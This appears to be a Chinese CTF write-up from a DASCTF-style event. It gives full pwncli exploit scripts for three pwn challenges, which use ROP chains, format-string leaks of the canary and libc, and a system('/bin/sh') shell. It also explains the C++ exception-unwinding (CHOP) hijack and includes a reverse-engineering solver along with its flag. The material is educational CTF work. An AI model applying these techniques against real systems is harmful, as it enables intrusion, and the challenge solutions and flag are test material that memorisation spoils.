PWN dynamic_but_static 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwncli import * cli_script() io = gift['io' ] elf = gift["elf" ] libc = gift.libc libc = ELF("./libc.so.6" ) filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid if gift.remote: libc = ELF("./libc.so.6" ) gift['libc' ] = libc pass libc_box = LibcBox() puts_plt = elf.plt['puts' ] read_plt = elf.plt['read' ] read_got = elf.got['read' ] setbuf_got = elf.got['setbuf' ] pop_rdi = 0x401381 ret = 0x40101a leave = 0x401349 main = 0x40134B flag_addr = 0x404200 libc_pop_rsi = 0x2be51 libc_pop_rdx = 0x796a2 def attack (): print ('LLCC' ) p1=p64(0 )*7 +p64(pop_rdi)+p64(setbuf_got)+p64(puts_plt) p1+=p64(main) s(p1) read_addr = recv_libc_addr(io) libc.address = read_addr - libc.sym['setbuf' ] pop_rsi = libc_pop_rsi + libc.address pop_rdx = libc_pop_rdx + libc.address write_addr = libc.sym['write' ] open_addr = libc.sym['open' ] CG.set_find_area(find_in_elf=False ,find_in_libc=True ) p=p64(0 )*6 +p64(flag_addr) p+=p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x300 )+p64(read_plt)+p64(leave) sleep(0.3 ) sl(p) orw = b'/flag\x00\x00\x00' +CG.orw_chain(flag_addr,flag_addr+0x30 ,3 ,1 ) sl(orw) log.info('#---#---#---#---#' ) log.success('libc.address:' +hex (libc.address)) log.success('flag_addr:' +hex (flag_addr)) if __name__ == '__main__' : attack() io.interactive()
Control https://xz.aliyun.com/t/12967?time__1311=mqmhqIx%2BODkKDsD7G30%3D3eAKdDvzTqvpD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12967#toc-2
Linux下的C++对应的异常处理,也就是对基于eh_frame进行unwind的异常处理流程的攻击手法的研究
异常处理时从__cxa_throw()
时开始,之后进行unwind, cleanup, handler,并不会执行发生异常所在函数的剩余部分,自然也就不会执行ret
,因而依靠劫持返回地址直接进行跳转的攻击方式不再有效
栈上的内容(如这里的rbp和ret地址)与异常处理的流程相关
覆盖rbp会导致crash,可以确定是在执行handler时出错
可以很容易的知道,由于这里使用leave; ret
,ret的地址为[rbp+8]
,即这里是可以通过合理控制rbp来控制返回地址
需要让rbp为一个指针,且rbp内容恰好是我们覆盖的ret地址
异常处理本身存在一些问题,并且使得canary这样的栈保护机制无效。因为异常抛出后的代码不会执行,自然也不会检测canary,自然也不会调用stack_check_fail()
. 在此基础上我们发现了一些控制程序流的方式:
通过覆盖rbp,进而控制程序流走向。当然前提是栈帧的确使用rbp存储,因为一些情况下程序只依靠rsp增减。
通过覆盖ret地址,使异常被另外一个handler
处理
在某些情况下还可以通过伪造覆盖类虚表的手法,使其在cleanup handler
执行析构函数的时候劫持程序流(本文不做详细分析)
CHOP CHOP全称Catch Handler Oriented Programming,通过扰乱unwinder来实现程序流劫持的效果。在文章中提到了一个所谓Gloden Gadget ,即如下代码片段(取自stdlibc++.so)
1 2 3 4 5 6 7 8 9 10 11 12 13 void __cxa_call_unexpected (void *exc_obj_in) { xh_terminate_handler = xh->terminateHandler; try { } catch (...) { __terminate(xh_terminate_handler); } }void __terminate (void (*handler )()) throw () { handler (); std::abort(); }
在函数__cxa_call_unexpected()
中的catch块,传入了xh_terminate_handler
,并在__terminate()
中进行调用,这意味着,如果我们将ret地址调整为__cxa_call_unexpected()
的try块,同时控制局部变量xh_terminate_handler
为任意地址,即可实现控制流劫持
众所周知,在最终执行catch handler时,栈帧与抛出异常时相同。因而局部变量是可控的,似乎Gloden Gadget 为我们提供了一个可以任意指针调用的机会
libc版本迭代非常快,这种利用在目前较高版本是否可行呢???
事实上,在ubuntu22.04上的所谓的Gloden Gadgget 调用流程变为为__cxa_call_unexpected()
==> __cxa_call_unexpected.cold()
==> __terminate()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void __cxa_call_unexpected (void *exc_obj_in) { try { } catch (...) { __cxa_call_unexpected_cold (a1) } } void _cxa_call_unexpected_cold (void *a1) { void (*v2)(void); void *retaddr; if (!check_exception_spec(&retaddr, ...)) { if (check_exception_spec(&retaddr, ... )) { _cxa_throw (); } __terminate (v2); } } void __terminate (void (*handler)()) throw () { handler (); std::abort (); }
terminate执行的handler变成了寄存器r12的值,同时需要控制局部变量进入_cxa_call_unexpected_cold()
中合适的分支,防止中途再次抛出异常或是直接crash掉进程。
1 2 3 mov rdi , r12 db 67h call __terminate
局部变量还是比较好控制的,但是寄存器如何控制呢?我们已知栈溢出可以控制栈上数据,如果有方法将栈上数据与寄存器做以联系,寄存器就应该可控了。这时我们就需要利用到.eh_frame
上的信息了,使用readelf -wF file
,我们可以窥见其中的奥秘
.eh_frame section 主要由CFI, CIE和FDE组成。每个程序的section会包含一个或者多个CFI(Call Frame Information)。每个CFI包含一个CIE(Common Information Entry Record)记录,每个CIE包含一个或者多个FDE(Frame Description Entry)记录。
需要注意的是,.eh_frame和unwind的流程强相关,因而通过 -s 参数来去除符号表是无法去掉.eh_frame section的相关信息的
通过readelf得到的信息大致如下,可以看到寄存器可以值与CFA相关,而CFA均为栈地址。一般我们找rsp+8的条目且能控制寄存器的即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 00000654 000000000000004 c 000005 f8 FDE cie=00000060 pc=00000000004027 e0..0000000000402 db0 LOC CFA rbx rbp r12 r13 r14 r15 ra 00000000004027e0 rsp+8 u u u u u u c-8 00000000004027e6 rsp+16 u u u u u c-16 c-8 00000000004027e8 rsp+24 u u u u c-24 c-16 c-8 00000000004027ea rsp+32 u u u c-32 c-24 c-16 c-8 00000000004027ec rsp+40 u u c-40 c-32 c-24 c-16 c-8 00000000004027ed rsp+48 u c-48 c-40 c-32 c-24 c-16 c-8 00000000004027ee rsp+56 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004027f5 rsp+240 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028a3 rsp+56 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028a4 rsp+48 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028a5 rsp+40 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028a7 rsp+32 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028a9 rsp+24 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028ab rsp+16 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028ad rsp+8 c-56 c-48 c-40 c-32 c-24 c-16 c-8 00000000004028b0 rsp+240 c-56 c-48 c-40 c-32 c-24 c-16 c-8
为了方便查看不同的栈偏移在局部变量的作用,我将填充内容做以区分。选择任意一个rsp+8且能设置r12寄存器条目,将ret地址覆盖为该内容,将栈内容存入寄存器,最后接上Golden Gadget 的try块地址用于调用指针
为了提高调试时局部变量的辨识度,测试payload构造如下
1 2 3 4 5 6 7 8 9 10 payload = b'a' *8 payload += b'b' *8 payload += b'c' *8 payload += b'd' *8 payload += b'e' *8 payload += b'f' *8 payload += b'g' *8 payload += p64(0x004032a4+1) payload += p64(0x402df0+1) io.send(payload)
在调用到Gloden Gadget 时,我们已经可以看到寄存器的值被更改为了栈上的内容
然后就是一些分支的局部变量调整,经过一系列对局部变量的调整,我们终于看到了__terminate
中调用的handler
此时只需要将对应的值替换为后门即可,成功完成利用
这里局部变量的调试比较枯燥,直接跟着断点看看哪里crash然后更改变量为合适的值即可,不做详细阐述
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwncli import * cli_script() io = gift['io' ] elf = gift["elf" ] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid if gift.remote: gift['libc' ] = libc pass libc_box = LibcBox() gift = 0x4D3350 vuln = 0x40215C main = 0x4021E1 bss = 0x4D3300 read_addr = elf.sym['read' ] pop_rdi = 0x0000000000401c72 pop_rsi = 0x0000000000405285 pop_rdx = 0x0000000000401aff open_addr = elf.sym['open64' ] read_addr = elf.sym['read' ] puts_addr = elf.sym['puts' ]def attack (): print ('LLCC' ) p1= p64(vuln)+p64(read_addr) sa("Gift> " ,p1) p2=p64(0x1 )*13 +p64(0x2 )+p64(gift-8 ) sla("How much do you know about control?" ,p2) sla("How much do you know about control?" ,'aaaaaaaa' ) p=b'/flag' .ljust(0x20 ,b'\x00' )+b'a' *(0x360 -0x2e0 -0x20 ) p+=p64(pop_rdi)+p64(0x4d32e0 )+p64(pop_rsi)+p64(0 )+p64(open_addr) p+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(bss+0x100 )+p64(pop_rdx)+p64(0x100 )+p64(read_addr) p+=p64(pop_rdi)+p64(bss+0x100 )+p64(puts_addr) pause() sl(p) log.info('#---#---#---#---#' ) if __name__ == '__main__' : attack() io.interactive()
Exception 和Control一样是Linux下的C++对应的异常处理
由于最后使用leave; ret
,ret的地址为[rbp+8]
,即这里是可以通过合理控制rbp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwncli import * cli_script() io = gift['io' ] elf = gift["elf" ] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid if gift.remote: gift['libc' ] = libc pass libc_box = LibcBox() def attack (): print ('LLCC' ) p1=b'%p,' *10 p1=b'%7$p,%8$p,%9$p,%11$p' sla("please tell me your name" ,p1) ru('\n' ) canary = int (ru(',' )[:-1 ],16 ) stack = int (ru(',' )[:-1 ],16 ) elf.address = int (ru(',' )[:-1 ],16 )-0x1480 libc.address = int (ru('\n' )[:-1 ],16 )-0x24083 ru('0x' ) buf_addr = int (io.recv(12 ),16 ) CG.set_find_area(find_in_elf=True ,find_in_libc=True ) p2=p64(canary) p2=p2.ljust(104 ,b'a' ) p2+=p64(canary)+p64(buf_addr+0x18 )+p64(elf.sym['main' ]+168 )+p64(0 )+p64(canary)+p64(buf_addr+0x560 -0x3d0 )+p64(elf.sym['__libc_csu_init' ])+p64(0 ) p2+=p64(CG.ret())+p64(CG.pop_rdi_ret())+p64(CG.bin_sh())+p64(libc.sym['system' ]) sa("How much do you know about exception?" ,p2) log.info('#---#---#---#---#' ) log.success('libc.address:' +hex (libc.address)) log.success('elf.address:' +hex (elf.address)) log.success('canary:' +hex (canary)) log.success('stack:' +hex (stack)) log.success('buf_addr:' +hex (buf_addr)) if __name__ == '__main__' : attack() io.interactive()
RE prese 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from z3 import *from Crypto.Util.number import * flag = [0x86 ,0x83 ,0x91 ,0x81 ,0x96 ,0x84 ,0x089 ,0xa5 ,0xad ,0xad ,0xa6 ,0x9d ,0xb6 ,0xaa ,0xa7 ,0x9d ,0xb0 ,0xa7 ,0x9d ,0xab ,0xb1 ,0x9d ,0xa7 ,0xa3 ,0xb1 ,0xbb ,0xaa ,0xaa ,0xaa ,0xaa ,0xbf ,0 ] fff=[0 ]*32 for i in range (31 ): pass if __name__ == '__main__' : for len in range (0x60 ): tmp = [0 ]*0x100 ff=[0 ]*32 f='' for i in range (0x100 ): tmp[i] = ((len ^ i) ^ 0xff ) for i in range (32 ): d = flag[i] for j in range (0x100 ): if tmp[j] == d: ff[i] = j for j in range (32 ): f += chr (ff[j]) print (f) print (len )
得到
1 DASCTFKgood_ the_ re_ is _ easyhhhh}Â
改一下
1 DASCTF{good_ the_ re_ is _ easyhhhh}
ezVM